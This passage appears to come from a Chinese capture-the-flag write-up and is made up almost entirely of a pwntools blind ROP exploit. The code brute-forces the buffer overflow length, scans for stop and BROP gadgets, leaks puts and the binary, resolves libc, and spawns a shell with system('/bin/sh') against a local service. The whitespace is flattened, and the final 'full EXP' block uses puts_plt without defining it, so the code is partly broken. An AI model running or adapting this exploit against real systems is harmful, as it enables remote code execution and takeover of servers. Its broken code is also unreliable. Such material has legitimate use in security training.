EXP length = 72 stop_gadget = 0x4006b6 brop_gadget = 0x4007ba rdi_ret = brop_gadget + 9 puts_plt = 0x400560 puts_got = 0x601018 sh = remote('127.0.0.1' , 9999 ) sh.recvuntil('password?\n' ) payload = 'a' * length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64( stop_gadget) sh.sendline(payload) data = sh.recvuntil('\nWelCome' , drop=True ) puts_addr = u64(data.ljust(8 , '\x00' )) libc = LibcSearcher('puts' , puts_addr) libc_base = puts_addr - libc.dump('puts' ) system_addr = libc_base + libc.dump('system' ) binsh_addr = libc_base + libc.dump('str_bin_sh' ) payload = 'a' * length + p64(rdi_ret) + p64(binsh_addr) + p64( system_addr) + p64(stop_gadget) sh.sendline(payload) sh.interactive()
完整EXP
from pwn import *from LibcSearcher import *sh = remote('127.0.0.1' , 9999 ) def getbufferflow_length (): i = 1 while 1 : try : sh = remote('127.0.0.1' , 9999 ) sh.recvuntil('WelCome my friend,Do you know password?\n' ) sh.send(i * 'a' ) output = sh.recv() sh.close() if not output.startswith('No password' ): return i - 1 else : i += 1 except EOFError: sh.close() return i - 1 def get_stop_addr (length ): addr = 0x400000 while 1 : try : sh = remote('127.0.0.1' , 9999 ) sh.recvuntil('password?\n' ) payload = 'a' * length + p64(addr) sh.sendline(payload) content = sh.recv() print content sh.close() print 'one success stop gadget addr: 0x%x' % (addr) except Exception: addr += 1 sh.close() def csu_gadget (csu_last, csu_middle, saved_addr, arg1=0x0 , arg2=0x0 , arg3=0x0 ): payload = p64(csu_last) payload += p64(0x0 ) payload += p64(0x1 ) payload += p64(saved_addr) payload += p64(arg3) payload += p64(arg2) payload += p64(arg1) payload += p64(csu_middle) payload += 'A' * 56 return payload def get_brop_gadget (length, stop_gadget, addr ): try : sh = remote('127.0.0.1' , 9999 ) sh.recvuntil('password?\n' ) payload = 'a' * length + p64(addr) + p64(0 ) * 6 + p64( stop_gadget) + p64(0 ) * 10 sh.sendline(payload) content = sh.recv() sh.close() print content if not content.startswith('WelCome' ): return False return True except Exception: sh.close() return False def check_brop_gadget (length, addr ): try : sh = remote('127.0.0.1' , 9999 ) sh.recvuntil('password?\n' ) payload = 'a' * length + p64(addr) + 'a' * 8 * 10 sh.sendline(payload) content = sh.recv() sh.close() return False except Exception: sh.close() return True def find_brop_gadget (length, stop_gadget ): addr = 0x400740 while 1 : print hex (addr) if get_brop_gadget(length, stop_gadget, addr): print 'possible brop gadget: 0x%x' % addr if check_brop_gadget(length, addr): print 'success brop gadget: 0x%x' % addr return addr addr += 1 def get_puts_addr (length, rdi_ret, stop_gadget ): addr = 0x400000 while 1 : print hex (addr) sh = remote('127.0.0.1' , 9999 ) sh.recvuntil('password?\n' ) payload = 'A' * length + p64(rdi_ret) + p64(0x400000 ) + p64( addr) + p64(stop_gadget) sh.sendline(payload) try : content = sh.recv() if content.startswith('\x7fELF' ): print 'find puts@plt addr: 0x%x' % addr return addr sh.close() addr += 1 except Exception: sh.close() addr += 1 def leak (length, rdi_ret, puts_plt, leak_addr, stop_gadget ): sh = remote('127.0.0.1' , 9999 ) payload = 'a' * length + p64(rdi_ret) + p64(leak_addr) + p64( puts_plt) + p64(stop_gadget) sh.recvuntil('password?\n' ) sh.sendline(payload) try : data = sh.recv() sh.close() try : data = data[:data.index("\nWelCome" )] except Exception: data = data if data == "" : data = '\x00' return data except Exception: sh.close() return None def leakfunction (length, rdi_ret, puts_plt, stop_gadget ): addr = 0x400000 result = "" while addr < 0x401000 : print hex (addr) data = leak(length, rdi_ret, puts_plt, addr, stop_gadget) if data is None : continue else : result += data addr += len (data) with open ('code' , 'wb' ) as f: f.write(result) length = 72 stop_gadget = 0x4006b6 brop_gadget = 0x4007ba rdi_ret = brop_gadget + 9 puts_got = 0x601018 sh = remote('127.0.0.1' , 9999 ) sh.recvuntil('password?\n' ) payload = 'a' * length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64( stop_gadget) sh.sendline(payload) data = sh.recvuntil('\nWelCome' , drop=True ) puts_addr = u64(data.ljust(8 , '\x00' )) libc = LibcSearcher('puts' , puts_addr) libc_base = puts_addr - libc.dump('puts' ) system_addr = libc_base + libc.dump('system' ) binsh_addr = libc_base + libc.dump('str_bin_sh' ) payload = 'a' * length + p64(rdi_ret) + p64(binsh_addr) + p64( system_addr) + p64(stop_gadget) sh.sendline(payload) sh.interactive()
参考